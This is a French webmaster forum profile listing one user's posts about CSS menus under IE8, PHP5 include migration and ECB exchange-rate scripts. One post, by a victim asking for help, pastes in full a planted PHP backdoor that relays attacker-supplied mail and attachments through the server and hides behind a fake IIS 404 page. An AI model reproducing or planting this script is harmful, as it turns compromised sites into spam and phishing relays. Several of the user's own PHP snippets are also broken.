Aller au contenu

moonwar

Webmaster Régulier
  • Compteur de contenus

    73
  • Inscrit(e) le

  • Dernière visite

Tout ce qui a été posté par moonwar

  1. Merci pour vos réponses, Voila le lien (à visiter sous FF et IE8 option non compatible avec IE7) Pour les ul, voila le code avec explication en cas ou... ul#menu { margin : 0; /* Marge extérieur nulle */ padding : 1px 1px 0; /* Marge intérieur à 1px sauf pour le bas */ width : 145px; /* Largeur de notre liste */ font-size : 12px; /* Taille de notre police */ border : 1px solid #EBEBEB; /* Application d'une bordure */ border-left-width : 0px; /* Marge gauche nulle */ } ul#menu li a { display : block; /* Définition sous forme de block */ width : auto !important; /* Pour IE */ width : 100%; /* Idem */ padding : 4px; /* le reste, tlm le connait */ text-decoration : none; color : #050B74; background-color : #FBFBFB; border-right : 1px solid #EBEBEB; border-bottom : 1px solid #EBEBEB; } ul#menu li a:hover { text-decoration : underline; color : #D90000; } Pour le li: li.orange { list-style-image: url("/alb/li.gif"); } li.viole { list-style-image: url("/alb/li1.gif"); } li.bleu { list-style-image: url("/alb/cube_bleu.gif"); } li.jaune { list-style-image: url("/alb/cube_jaune.gif"); } Merci pour votre aide.
  2. Bonjour, Je viens de passer en IE8 et je me rends compte que mon site (qui etait compatible avec IE7) n'a ... heu ... aucune ... forme. Le probleme est les <li> et <ul> . ils sont completement à gauche! Le probleme est aussi observé sur FireFox. Comment faire pour assurer la compatibilité avec la balise <li>? Merci pour votre aide.
  3. Merci pour vos réponses, Oui, du html généré par du php (un ti programme coté BDD qui roule sous-php4) c'est pour cela que je ne peux pas l'executé directement sur mon site. Je n'ai pas d'accès sur mon serveur, j'ai un hébergement mutualisé et mon allow_url_include est a Off. Script! effectivement, c'est des scripts comme celui de la meteo, taux de change, prix des produits... et tout roule sous-php4 Merci pour ton information... je ne le savais pas Pas chez le client, chez moi! ... je ne cherche pas à pomper a un site, je veux executer mes programmes. alala Je n'ai pas d'accès sur mon serveur, j'ai un hébergement mutualisé et mon allow_url_include est a Off. j'ai expliqué en haut que c'est une ecriture que j'ai remarqué chez qlq sites et j'ai demandé si c'etait possible que je fasse la meme chose pour moi! Merci pour vos remarques ... j'espere que tout est expliqué a présent et qu'une solution existe pour mon cas... non?
  4. J'ai fait cela avec un iframe... mais j'aime pas vraiment! de plus, ce n'est pas securitaire ..non?
  5. ca veut dire que je vais juste mettre : <script type="text/javascript" src=&quot;http://www.site.com/page.php"></script> c'est tout? parce que ca marche pas cette ecriture!
  6. Heu... qui a parlé de fichiers js??? ... Ma quéstion est d'inclure des pages php externes via un javascript...
  7. Bonjour, Mon site roule sous-php5 et comme tout le monde le sait depuis la version 5.2 de php5 allow_url_include est à "off". Alors, je ne peux plus inclure un lien externe. J'ai remarqué sur le web, que des sites comme google ou autres donnent la possibilité d'inclure leurs informations sur nos sites en utilisant des liens genre: <script type="text/javascript" src="http://www.site.com/page.php"> </script> <noscript> <a href="http://www.site.com/page.php">lien page.</a> </noscript> Comme je n'ai aucune idée sur le javascript, Ma quéstion est: Comment faire ce genre d'appel (include) si j'héberge mes scripts (php4) chez un hébergeur qui supporte le php4 et les appellé de mon site qui supporte le php5? Merci pour votre aide.
  8. Merci pour vos réponse, Je ne connais bien le simpleXml captain_torche, de plus mon hébérgeur etait 'si fière' de m'annoncer que l'API simpleXml est activé sur mon serveur. heu... alors, comment lire ce fichier par simpleXml ? Merci pour vos réponses.
  9. Bonjour, Voila un code qui fait le taux de change, il fonctionne tres bien, mais apres migration vers php5, il donne une page blanche. Je ne trouve pas quoi modifier pour assurer la compatibilité avec php5. <?php $XMLContent= file("http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml"); foreach ($XMLContent as $line) { if (ereg("currency='([[:alpha:]]+)'",$line,$currencyCode)) { if (ereg("rate='([[:graph:]]+)'",$line,$rate)) { $div = 91.0901; if ($currencyCode[1] == "USD" or $currencyCode[1]== "CAD" or $currencyCode[1]== "GBP" or $currencyCode[1]== "PJY" or $currencyCode[1]== "CNY") { $EURO =$div/$rate[1]; echo "<tr><td><img src='alb/".$currencyCode[1].".gif' /></td>"; echo '<td valign="middle" class="TEXTE">1 '.$currencyCode[1].' </td><td valign="middle" class="TEXTE"> '. round($EURO, 4) .' </td></tr>'; } } } } ?> Merci pour votre aide.
  10. moonwar

    Migration vers php5

    Bonjour, je crois que j'ai trouvé ce qui pose probleme! Une de mes pages fait appel a un chemin relatif: <?php require_once(dirname(__FILE__) . '/includes/classes/class.mysql.php'); require_once(dirname(__FILE__) . '/includes/classes/class.outils.php'); require_once(dirname(__FILE__) . '/config/conf.php'); ... Donc, je fais un include() relatif d'une page qui fait elle-meme un autre include relatif.. Comment résoudre ce conflit ? Merci pour vos réponses.
  11. moonwar

    Migration vers php5

    Je fesais des appels dans le genre: <?php include(&quot;http://www.monsite.com/rep/fichier.php"); ?> Depuis ma migration, cette ecriture ne passe plus vue qu'elle ne fonctionne plus sous php5. Mon hebergeur m'a donné une solution, ré-ecrire cet appel par: <?php include("/home/users/web/b2761/glo.monuser/rep/fichier.php"); ?> Et ca marche! Le probleme c'est que tous les appels marchaient sous php, mais avec la méthode sous php5, quelque includes passent plus. C'est pour cela que je pose ma quéstion Justement, Y a aucune erreur .. quand l'include 1 se charge, le second n'y est pas (page blanche). Quand je supprime le premier, le second se charge! (note que tout les liens sont bon, j'ai testé cela via le vavigateur, il n'y a ni probleme de BDD, ni probleme de script, ni probleme de chemin, j'ai tout testé et CA MARCHE) avez-vous une idée?
  12. moonwar

    Migration vers php5

    Pas bête ton idée, je viens de tester avec 30 includes, ca prends du temps mais les 30 se chargent Et Mer*** ... ma tete va exploser
  13. moonwar

    Migration vers php5

    Bonjour, Je cherche a remplacer la bonne vieille methode : <?php include(&quot;http://www.monsite.com/rep/fichier.php"); ?> afin de la voir fonctionner sous php5.
  14. moonwar

    Migration vers php5

    Bonjour, Je viens de changer de serveur (php5). Avant! tout fonctionnait trés bien mais après migration, tout include presente des problèmes. (le nouveau serveur roule sous Php5) Pour les includes, mon hebergeur m'a donné un changement à effectuer : /home/users/web/b2761/glo.monuser/thematiques/alaune.php au lieu de : ./thematiques/alaune.php l'include marche, sauf que certainne pages ne chargent plus. Pourtant le lien direct sur le navigateur marche. Ma page d'accueil fait appel à 7 includes, J'ai fait des tests en supprimant quelques un et laissant d'autres. J'ai remaqué que certains include bloquaient quand d'autres roulaient et ainsi de suite. Alors, que peut etre c'est un chemin relatif , j'ai testé: <?php include(dirname(__FILE__)."/home/users/web/b2761/glo.monuser/thematiques/alaune.php"); ?> ... ca marche pas! Ma quéstion: Est-ce que c'est l'hebergeur qui a limité le nombre d'include, si c'est non, qu'est ce qui peut etre la cause? Merci pour vos réponses
  15. moonwar

    Aide pour les AntiXss

    Et bien, J'ai déjà fait les mise-a-jour de Dotclear1, iGalerie et phpcompet. ('dapres les forums respectifs de ces derniers, il n'y a aucune faille découverte) Pour l'IPB c'est en court... PhpmyAnnuaire ne présente aucune faille, je l'ai verifié PhpMypub ... aucune idée, mais je vais le supprimer. Pour les autres scripts ... c'est des petits scripts que j'utilise afin de regler qlq passages d'un cms a l'autre, ou controler l'affichage d'une page suivant l'heure... en gros c'est ca, y'a ni $_GET ni $_post ni aucun formulaire. Je vais devenir fouuuuuuuuuuu! j'ai supprimé toute l'archive du site ... 8 ans d'archive...
  16. moonwar

    Aide pour les AntiXss

    Salut Dadou et merci pour ta réponse, Je vais voir pour l'option "formulaire", Car pour l'accès FTP, je l'ai deja changé et ces fichiers reviennent automatiqment chaque soir... En gros, c'est l'acte d'un robot et non d'un humain. Voila l'URL, j'utilise comme script Dotclear1, iGalerie, phpcompet, IPB, PhpmuAnnu, PhpMypub et plusieurs autres script que j'ai developpé. Merci encore pour ton aide.
  17. moonwar

    Aide pour les AntiXss

    Je ne sais pas vraiment, mais ce n'est pas juste des XSS, voila des fichiers qui s'ajoutent chaque jour ... fixr91.php Contenu: <? function sRjhFrdw($xctmp, $from, $to, $subj, $text, $filename) { $f = fopen($filename,"rb"); $un = strtoupper(uniqid(time())); $head = "From: $from\n"; $head .= "To: $to\n"; $head .= "Reply-To: $from\n"; $head .= "Subject: $subj\n"; $head .= "Content-Type:multipart/mixed;"; $head .= "boundary=\"----------".$un."\"\n\n"; $zag = "------------".$un."\nContent-Type:text/html;\n"; $zag .= "Content-Transfer-Encoding: 8bit\n\n$text\n\n"; $zag .= "------------".$un."\n"; $zag .= "Content-Type: application/octet-stream;"; $zag .= "name=\"".basename($filename)."\"\n"; $zag .= "Content-Transfer-Encoding:base64\n"; $zag .= "Content-Disposition:attachment;"; $zag .= "filename=\"".basename($filename)."\"\n\n"; $zag .= chunk_split(base64_encode(fread($f,filesize($filename))))."\n"; return _AT_mail("$to", "$subj", $zag, $head); } function LIFdNDdj($xctmp,$from,$to,$subj,$text) { $head = "From: $from\n"; $head .= "To: $to\n"; $head .= "Subject: $subj\n"; $head .= "Reply-To: $from\n"; $head .= "Content-type: text/html; charset=windows-1251" . "\r\n"; return _AT_mail($to,$subj,$text,$head); } if (!empty($_POST['caption']) && !empty($_POST['email']) && !empty($_POST['clientname']) && !empty($_POST['emailsend']) && !empty($_POST['message']) && ($_POST['index'] == 'send')) { $xclient = substr(htmlspecialchars(trim($_POST['clientname'])), 0, 80); $title = substr(htmlspecialchars(trim($_POST['caption'])), 0, 80); $mess64 = base64_decode($_POST['message']); $mess = substr(trim($mess64), 0, 10000000); $send_to = $_POST['emailsend']; $from = $_POST['email']; if($_FILES['file']['name'] !=''){ if (is_dir("tmp")) { } else { mkdir("tmp"); } if(is_uploaded_file($_FILES['file']['tmp_name'])) { if(move_uploaded_file($_FILES['file']['tmp_name'], "tmp/".basename($_FILES['file']['name']))) { if(sRjhFrdw($xclient,$from,$send_to,$title,$mess,"tmp/".basename($_FILES['file']['name']))!== FALSE) { echo "OK-FILE"; } else { echo "ERROR-FILE"; } _AT_unlink("tmp/".basename($_FILES['file']['name'])); } else { echo "ERROR-UPLOAD"; } } else { echo "ERROR-MOVE"; } } else { if(LIFdNDdj($xclient,$from,$send_to,$title,$mess) !== FALSE) { echo "OK-MESS"; } else { echo "ERROR-MESS"; } } } else { if ($_GET['index'] == 'test') {echo "OK2009"; exit;} else { echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>The page cannot be found</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252"> <STYLE type="text/css"> BODY { font: 8pt/12pt verdana } H1 { font: 13pt/15pt verdana } H2 { font: 8pt/12pt verdana } A:link { color: red } A:visited { color: maroon } </STYLE> </HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD> <h1>The page cannot be found</h1> The page you are looking for might have been removed, had its name changed, or is temporarily unavailable. <hr> <p>Please try the following:</p> <ul> <li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li> <li>If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted. </li> <li>Click the <a href="java script:history.back(1)">Back</a> button to try another link.</li> </ul> <h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2> <hr> <p>Technical Information (for support personnel)</p> <ul> <li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li> <li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr), and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li> </ul> </TD></TR></TABLE></BODY></HTML>';} } ?> J'y comprend plus rien ... une aide svp...
  18. moonwar

    Aide pour les AntiXss

    Bonjour, Comme je suis victime d'attaque xss (je crois), et apres recherche, j'ai trouvé un article sur les attaque xss http://www.tux-planet.fr/les-failles-de-se...site-scripting/, mais le probleme c'est que je ne sais pas ou integrer la partie du code suivant: function antiXss($chaine) { return htmlentities($chaine, ENT_QUOTES); } J'ai deja eu une réponse me disant que la fonction doit être appellée à chaque fois que je réaffiche à l'écran une donnée externe (récupérée en get ou en post) pour éviter d'être embêté par du cross. Mais le probleme c'est que je n'utilise aucun get ni post! Avez-vous une petite idée comment resoudre mon probleme ou comment retracer la faille ? Merci pour votre aide.
  19. Ouin Jacques... le probleme est à partir du round(... Si je connaissais la cause, je ne serais pas sur le forum
  20. Merci pour ta réponse. $1usd = '.$div/$rate[1].' '.EURO.'; Jusque là, c'est sur que ca marche, mais le probleme c'est apres le Je crois que le probleme est à partir du round(...
  21. Bonjour, J'utilise a la base le code de la Banque Europeenne. Ce code donne le taux de change de l'EURO en fonction des autres devis. La devis DZD n'y est pas. La devis DZD est calculer à la base du taux de change de l'USD. 1USD = 72 DZD. Après qlq modifications, je suis arrivé a ce qui suit (Explication des etapes dans le code): <?php $XMLContent= file("http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml"); foreach ($XMLContent as $line) { if (ereg("currency='([[:alpha:]]+)'",$line,$currencyCode)) { if (ereg("rate='([[:graph:]]+)'",$line,$rate)) { //On calcul la valeur de 1 EURO en fonction de currencyCode //currencyCode correspond aux autres devis //par exemple pour 1 EURO en fonction de CAD canadien : $currencyCode == "CAD") //On calcul la valeur de 1USD en fonction de l'EURO //div pour identifier la fonction inverse $div = 1; //valeur de 1 USD en fonction de EURO if ($currencyCode[1] == "USD") { $1usd = '.$div/$rate[1].' '.EURO.'; } //On cherche la valeur de 1 DZD //a noter que le DZD est calculé a la base du USD $dzdusd = 72; //On calcul valeur de 1 DZD en fonction du USD $1dzd = $dzdusd * $1usd; //valeur arrondis a 3 chiffres après la virgule echo '1 DZD = '.round($1dzd,3).' '.USD.'<br />'; //valeur de 1 DZD en fonction de CAD if ($currencyCode[1] == "CAD") { echo '1 DZD = '.round($1dzd * $div/$rate[1],3).' '.$currencyCode[1].'<br />'; } //valeur de 1 DZD en fonction de GBP if ($currencyCode[1] == "GBP") { echo '1 DZD = '.round($1dzd * $div/$rate[1],3).' '.$currencyCode[1].'<br />'; } } } } ?> Coté logique, je ne pense pas que je me suis trompé, mais ca ne fonctionne pas ... Merci pour votre aide.
  22. Oh mon dieu Toute une lecture a faire ... y a pas un truc plus simple ...
  23. moonwar

    Récuperer des données

    Bonjour, Après que mon post ait été bloqué, j'ai fait une recherche et je suis tombé sur ce code de la ECB. Banque Europeenne Comment avoir juste une ou deux devis? <?php //This is a PHP (4/5) script example on how eurofxref-daily.xml can be parsed //Read eurofxref-daily.xml file in memory $XMLContent= file("http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml"); //the file is updated daily between 14:15 and 15:00 CET foreach ($XMLContent as $line) { if (ereg("currency='([[:alpha:]]+)'",$line,$currencyCode)) { if (ereg("rate='([[:graph:]]+)'",$line,$rate)) { //Output the value of 1 EUR for a currency code echo '1 € = '.$rate[1].' '.$currencyCode[1].'<br />'; //-------------------------------------------------- // Here you can add your code for inserting // $rate[1] and $currencyCode[1] into your database //-------------------------------------------------- } } } ?> NB: Je suis sous php4 et je n'ai pas de SimpleXML Merci pour vos réponses
  24. Bonjour, Ma question est : Comment faire pour recuperer l'URL d'une image qui vient d'etre uploader. Supposant que j'ai un fichier sur mon site :www.site.com/image. On upload des images et photos dont la nommination est aléatoire (lune.gif, 01.jpg, voiture.gif...), donc est-t-il possible de trouver l'URL Dynamique de la derniere image chargée dans un fichier en utilisant la date et heure de l'upload? ... l'URL change a chaque fois qu'une nouvelle image est unploadée. merci pour vos réponses.
  25. Salut, Bien entendu, la page d'impression est du Html et non une image, le site est www.oanda.com Quand on fait une recherche, pi on lance l'impression, on remarque dans l'URL, les variable : exch, value, expr et date Si on copier/coller l'URL est qu'on supprime ou modifie une variable (par exemple &date=02/06/04) la page se recharge suivant la date demandée. Idem pour &exch=EUR&value=1&expr=USD au lieu de &exch=USD&value=1&expr=EUR Voila la page en quéstion: http://www.oanda.com/convert/classic?user=.../09〈=fr Merci pour votre aide mais non captain_torche, je ne cherche pas a ponper, juste a avoir une donnée, le site est plein de pub.
×
×
  • Créer...